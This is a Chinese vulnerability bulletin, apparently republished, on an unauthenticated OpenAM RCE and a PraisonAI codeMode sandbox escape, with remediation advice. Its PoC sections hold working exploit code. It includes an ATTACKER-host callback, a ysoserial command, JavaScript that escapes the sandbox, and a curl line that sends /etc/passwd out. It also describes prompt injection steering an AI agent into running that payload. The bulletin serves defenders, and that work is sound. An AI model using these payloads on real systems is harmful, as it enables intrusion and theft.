文章总结: 文档推送两个高危漏洞:CVE-2026-62379影响OpenAM≤16.1.1,为未认证RCE,CVSS9.8,攻击面在/authservice端点,通过任意类实例化与Subject反序列化实现,建议升级至16.1.2并网络封堵;CVE-2026-57141与CVE-2026-57138影响PraisonAIcodeMode,为沙箱逃逸致宿主RCE,CVSS最高9.9,建议升级至1.7.2。两者均暂无在野利用报告,但风险极高,需优先处置。 综合评分: 88 文章分类: 漏洞分析,漏洞预警,应急响应
每日漏洞推送 OpenAM ≤ 16.1.1 未认证 RCE(/authservice PLL 任意类实例化 + Subject 反序列化)
原创
nullchen nullchen
富贵学安全
2026年9月16日 10:43 陕西
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
📡 每日漏洞情报推送 | 2026-09-16(周三)
🔴 漏洞一:CVE-2026-62379 — OpenAM ≤ 16.1.1 未认证 RCE(/authservice PLL 任意类实例化 + Subject 反序列化)
📋 漏洞档案
| 项目 | 内容 |
| — | — |
| CVE编号 | CVE-2026-62379 |
| 影响产品 | Open Access Management (OpenAM) ≤ 16.1.1(Open Identity Platform 社区版;亦覆盖其前身 ForgeRock OpenAM,缺陷早于分叉) |
| 受影响组件 | openam-core → com.sun.identity.authentication.share.AuthXMLUtils.createCustomCallback();入口端点 /authservice(PLL) |
| 漏洞类型 | CWE-470 外部可控类选择/不安全反射 + CWE-502 不安全反序列化 → 未认证远程代码执行 |
| CVSS | 9.8 (CRITICAL) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 修复版本 | 16.1.2 |
| 公开时间 | 2026-09-15 |
| 发现者 | Zhixi “Jace” Sun(TikTok ASM/VI) |
| 在野利用 | ⚠️ 暂无在野报告,但未认证、默认配置可打,优先级最高 |
🔥 紧急程度
OpenAM 是 SSO/身份管理的底座,一旦被打穿,整个联邦身份体系随之沦陷。 漏洞点在请求解析阶段:服务器还没有做任何鉴权,就已经把 XML 里 <CustomCallback className="..."> 指定的类加载并实例化了。更糟的是官方明确提示——开启 sunRemoteAuthSecurityEnabled 并不能缓解,因为安全令牌校验(AuthXMLHandler.processAuthXMLRequest)发生在解析(AuthXMLRequest.parseXML)之后,此时恶意类早已被实例化。唯一可靠的临时缓解是网络层封堵 /authservice。
📝 漏洞描述
在修复前,createCustomCallback() 对 XML 中读到的类名不做任何校验,直接加载并实例化:
// 修复前(漏洞代码)
StringclassName=XMLUtils.getNodeAttributeValue(childNode, AuthXMLTags.ATTRIBUTE_CLASS_NAME);
...
ClassxmlClass=Class.forName(className); // ← 攻击者可控;触发静态初始化器
callback= (DSAMECallbackInterface) xmlClass.newInstance(); // ← 直接实例化任意类
两条独立利用面:
- 任意类加载/实例化:
Class.forName(className)的默认语义会执行目标类的静态初始化器,newInstance()再调用其无参构造函数。攻击者只要在目标 classpath 上找到一个「静态块/无参构造有副作用」的类(JNDI 注入类、CXF/Spring 相关 gadget 等),即可在服务端进程(通常以容器特权/root 运行)中执行代码。 - 序列化
<Subject>的不安全反序列化:AuthXMLUtils.getDeSerializedSubject()对回传的Subject值直接ObjectInputStream.readObject(),无类白名单,可被伪造/中继响应触发 gadget 链 RCE。
修复提交 edcf968 做了两件事:Class.forName(className, false, ...)(不触发静态初始化)+ 强制实现 DSAMECallbackInterface 才实例化;并给 Subject 反序列化加上了 ObjectInputFilter 类白名单(仅放行 Subject/JDK 集合标量/Principal 实现)。
利用条件:网络可达 OpenAM /authservice(默认部署即暴露)+ 存在可用 gadget 类(见 PoC)。
💻 PoC/EXP
来源标注:机理来自 OpenAM 修复提交
edcf968cad91a78b932dba4ad559ef94cbf35f5a与 GHSA-wg5r-wc3x-39vc;类名/属性常量取自源码AuthXMLUtils.java与AuthXMLTags。以下为授权测试用 PoC,报文封装(<RequestSet>/<Login>外层)请按目标 PLL 实现补全,关键攻击元素为<CustomCallback className="...">。
1️⃣ 未认证触发任意类实例化(Python3,单文件)
#!/usr/bin/env python3
"""
CVE-2026-62379 — OpenAM <= 16.1.1 未认证 RCE (Class.forName in AuthXMLUtils.createCustomCallback)
仅限授权安全测试使用
"""
importsys, requests
TARGET=sys.argv[1] iflen(sys.argv) >1else"http://127.0.0.1:8080"
# 换成一个能在目标 classpath 上触发副作用的类(示例为通用 JNDI/反射型 gadget 名)
EVIL_CLASS=sys.argv[2] iflen(sys.argv) >2else"org.springframework.context.support.ClassPathXmlApplicationContext"
payload=f'''<?xml version="1.0" encoding="UTF-8"?>
<AuthContext version="1.0">
<RequestSet vers="1.0" svcid="auth" reqid="1">
<Request>
<Login>
<IndexType>module</IndexType>
<Callbacks>
<CustomCallback className="{EVIL_CLASS}">
<AttributeValuePair>
<Attribute name="url"/>
<Value>http://ATTACKER:8000/evil.xml</Value>
</AttributeValuePair>
</CustomCallback>
</Callbacks>
</Login>
</Request>
</RequestSet>
</AuthContext>'''
r=requests.post(f"{TARGET}/authservice", data=payload.encode(),
headers={"Content-Type": "text/xml", "SOAPAction": ""}, timeout=10)
print(f"[*] HTTP {r.status_code}")
print(r.text[:800])
# 若返回解析/业务错误(而非 401/403),说明请求已被解析 → className 已被 Class.forName 加载
2️⃣ 序列化 <Subject> 反序列化探测(配合 ysoserial 类链)
# 若目标回传的 <Subject> 值参与反序列化,可用 ysoserial 生成链后按目标编码嵌入:
# java -jar ysoserial.jar CommonsCollections6 'touch /tmp/pwned' | base64 -w0
# 将结果填入报文中的 Subject 值字段后提交,观察是否命中 gadget 链
# 说明:本条通道在修复前无类白名单,属结构性缺陷。
3️⃣ 一键检测(是否受影响 / 未认证可达)
#!/bin/bash
# CVE-2026-62379 检测 —— 仅限授权测试
TARGET="${1:-http://127.0.0.1:8080}"
PROBE='<?xml version="1.0"?><AuthContext version="1.0"><RequestSet vers="1.0" svcid="auth" reqid="1"><Request><Login><Callbacks><CustomCallback className="java.lang.String"/></Callbacks></Login></Request></RequestSet></AuthContext>'
code=$(curl -s -o /tmp/out.txt -w "%{http_code}" -X POST "$TARGET/authservice" \
-H 'Content-Type: text/xml' --data-binary "$PROBE")
echo"[*] HTTP $code"; head -c400 /tmp/out.txt; echo
# 判读:若返回 200/500 且含 PLL 解析痕迹(非 401/403),说明 /authservice 未认证可达,
# 且 className 元素被服务端处理 → 目标存在 CVE-2026-62379 风险面
# 版本核验: curl -s "$TARGET/amserver/version" 或登录页版本号;< 16.1.2 均受影响
🛡️ 修复建议
| 方式 | 说明 |
| — | — |
| 立即升级 | 升级到 OpenAM 16.1.2(同批修复 45052/46619/48717 等) |
| 网络封堵(唯一可靠缓解) | 限制/阻断外部网络访问 /authservice;该端点仅供内部 PLL 使用,不应公网可达 |
| WAF/反代规则 | 在反代/WAF 拦截携带 <CustomCallback className="..."> 的 PLL 请求(正常部署极少发送该元素,先比对现有流量再强制) |
| 不要依赖的假缓解 | ⚠️ 启用 sunRemoteAuthSecurityEnabled 无效——校验晚于解析发生 |
| 失陷排查 | 审计 /authservice 访问日志、异常类加载/外联、可疑 Subject 反序列化;视为可能已被控制,轮换服务凭据与 SSO 信任材料 |
🔗 参考来源
- NVD CVE-2026-62379
- GHSA-wg5r-wc3x-39vc(OpenAM 未认证 RCE 通告)
- OpenAM 修复提交 edcf968(AuthXMLUtils 加固)
- OpenAM 16.1.2 Release
🔴 漏洞二:CVE-2026-57141 / CVE-2026-57138 — PraisonAI codeMode 沙箱逃逸 → AI Agent 宿主 RCE
📋 漏洞档案
| 项目 | 内容 |
| — | — |
| CVE编号 | CVE-2026-57141(PR:N,9.8)、CVE-2026-57138(PR:L/UI:N,9.9)— 同源同修 |
| 影响产品 | praisonai-ts(npm praisonai)/ PraisonAI 多智能体框架,codeMode 工具:1.4.0 – 1.7.2(57141 记为 1.7.2 之前;57138 记为 1.4.0–1.7.2) |
| 受影响文件 | src/praisonai-ts/src/tools/builtins/code-mode.ts |
| 漏洞类型 | CWE-94 代码注入 / CWE-693 保护机制失效 —— 假沙箱(new Function+with+正则黑名单)被原型链逃逸 → 宿主 RCE |
| CVSS | 9.9 (CRITICAL) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H(57138);9.8 同型(57141) |
| 修复版本 | praisonai-ts 1.7.2(改用 node:vm 的 runInNewContext;shell 工具改 spawn(shell:false) + 元字符拦截) |
| 公开时间 | 2026-09-15 |
| 在野利用 | ⚠️ 暂无在野报告;攻击面极大(提示词注入即可) |
🔥 紧急程度
PraisonAI 是热门的多智能体编排框架,codeMode 工具常被默认开启,用于让 Agent「写代码 → 跑代码」。其自称 capabilities.sandbox: true,但实现是 new Function() + with(sandbox) —— 这在 V8 里根本不是隔离边界,只是往作用域链塞了个普通对象。攻击者只需影响喂给 Agent 的代码参数(典型场景:提示词注入 / 不可信文档 / 被投毒的 MCP 工具返回)即可逃逸并在宿主进程执行任意命令:读密钥、改文件、装后门、容器内横向。对 AI Agent 而言,这是一个「提示词 → shell」的直通车。
📝 漏洞描述
漏洞代码(code-mode.ts L187–191,修复前):
// 修复前:伪沙箱
constsandbox= {
console: { log: ..., error: ..., warn: ... },
process: undefined, // ← 只是把这个对象里的属性置空
require: undefined, // ← 无法阻止沿全局作用域取回
env: env|| {}, files: files|| {},
};
constfn=newFunction('sandbox', `with (sandbox) { ${code}}`);
constresult=fn(sandbox); // ← 在宿主 V8 上下文执行
执行前仅做正则黑名单拦截:
constblockedPatterns= [
/require\s*\(\s*['"]child_process['"]\s*\)/,
/require\s*\(\s*['"]fs['"]\s*\)/,
/import\s+.*from\s+['"]child_process['"]/,
/process\.exit/,
/eval\s*\(/,
];
三处根本缺陷:
with(sandbox)不提供隔离——with只把对象加入作用域链,从不阻断全局对象。process: undefined/require: undefined只是遮蔽,可用Function('return this')()(或({}).constructor.constructor(...))沿原型链取回真正的Function构造器,从而拿到真实全局对象。- 黑名单可被字符串拼接绕过——正则要求
require('child_process')中出现字面量'child_process';改成g.require('child_' + 'process')即完全绕过。 - 关键逃逸原语未被拦截——黑名单不含
Function(、new Function、constructor、propotype/__proto__、return this、global/globalThis、global.require。
取回 process 后,CommonJS 下 process.mainModule.require 即可 require('fs') / require('child_process'),越过一切显式控制。
利用条件:Agent 启用了 codeMode 工具 + 攻击者能影响其 code 参数(提示词注入、恶意文档、被污染的 MCP 工具输出等)。
💻 PoC/EXP
来源标注:PoC 与「已观测输出」直接取自 GHSA-p69m-4f92-2v84(CVE-2026-57141)与 GHSA-vmmj-pfw7-fjwp(CVE-2026-57138),测试环境 Node.js v20.20.0。仅限授权测试。
1️⃣ 逃逸并执行命令(绕过全部黑名单)
// 直接作为 codeMode 的 code 参数(或诱导 Agent 生成)——绕过所有 blockedPatterns
constcode=`
const Func = (function(){}).constructor; // 取回真实 Function
const proc = Func('return process')(); // 得到宿主 process
console.log('process.version:', proc.version);
const g = Function('return this')(); // 取回全局对象
const mod = 'child_' + 'process'; // 拼接绕过正则
const cp = g.require(mod);
console.log('RCE:', cp.execSync('id').toString().trim());
`;
已观测输出(GHSA 复现):
OUT: process.version: v20.20.0
OUT: RCE: uid=1000(...) groups=1000(...),27(sudo),983(docker),984(ollama)
(id 返回真实系统用户 → 沙箱逃逸成立。附带可见 docker 组成员,容器内横向风险高。)
2️⃣ 变体:process.mainModule.require 路线(不依赖全局 require)
// CVE-2026-57138 描述的经典原型链回收
constp= ({}).constructor.constructor('return process')(); // 沿原型链取 Function → process
constcp=p.mainModule.require('child_process');
cp.execSync('curl http://ATTACKER:8000/$(cat /etc/passwd | base64 -w0)'); // 外带
3️⃣ 负向对照(证明是「绕过」而非「未拦」)
// 直连写法会被拦:
require('child_process'); // → "Blocked pattern detected: require\s*\(\s*['"]child_process['"]\s*\)"
eval('process'); // → "Blocked pattern detected: eval\s*\("
4️⃣ 通过 Agent 的端到端触发面(示意)
攻击者可控输入(提示词/文档/MCP 工具返回)
│ 诱导 Agent 调用 codeMode.execute({ code: <上面 payload> })
▼
PraisonAI codeMode → new Function('sandbox','with (sandbox){...}') → 宿主 RCE
🛡️ 修复建议
| 方式 | 说明 |
| — | — |
| 立即升级 | 升级到 praisonai-ts 1.7.2(codeMode 改用 node:vm``runInNewContext + 超时;shell 工具改 spawn(shell:false) 并拦截 shell 元字符) |
| 真正隔离 | 生产环境代码执行应使用 vm 上下文 / isolated-vm(独立 V8 isolate)/ 独立子进程,不要依赖 new Function+黑名单 |
| 最小权限 | 运行 Agent 的进程降权、去 docker 组、去宿主机挂载、去云 IAM;容器内限制出网 |
| 关闭不必要工具 | 非必要不开 codeMode;对工具调用开启人工审批/HITL |
| 输入侧防护 | 对提示词/外部文档/MCP 返回做来源可信标记,隔离不可信内容,降低注入触发面 |
| 黑名单认知 | 即便保留黑名单,也须补 Function(/constructor/__proto__/return this/global;但黑名单本质脆弱,不应当作安全边界 |
🔗 参考来源
- NVD CVE-2026-57141 / NVD CVE-2026-57138
- GHSA-p69m-4f92-2v84(codeMode 沙箱逃逸 RCE)
- GHSA-vmmj-pfw7-fjwp(npm praisonai codeMode via Function constructor)
- PraisonAI 修复提交 709a038(改用 node:vm)
- PraisonAI Release v4.6.60 / praisonai-ts 1.7.2
🛡️ 优先行动建议
优先等级 行动 截止日期
────────────────────────────────────────────────────
🔴 最高 OpenAM 升级 >=16.1.2;/authservice 网络层封堵 立即 (未认证 RCE)
🔴 最高 PraisonAI 升级 praisonai-ts >=1.7.2;关 codeMode 立即 (提示词→宿主 RCE)
🔴 最高 覆盖硬编码密钥:praisonai-platform / Kimai 镜像 立即 (令牌伪造/账户接管)
🟠 紧急 Casdoor / pig / proxy-addr 升级;OpenAM 同批补丁 尽快 (认证绕过)
🟡 关注 Polyaxon / pgweb / wandb 升级;Firefox 走补丁流程 尽快
Agent 进程降权、去 docker 组、去云 IAM、限制出网
⚠️ 警告:提供的PoC/EXP仅限授权安全测试使用,未经授权的利用行为可能违反《刑法》第285条及相关法律法规。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:富贵学安全 nullchen nullchen《每日漏洞推送 OpenAM ≤ 16.1.1 未认证 RCE(/authservice PLL 任意类实例化 + Subject 反序列化)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论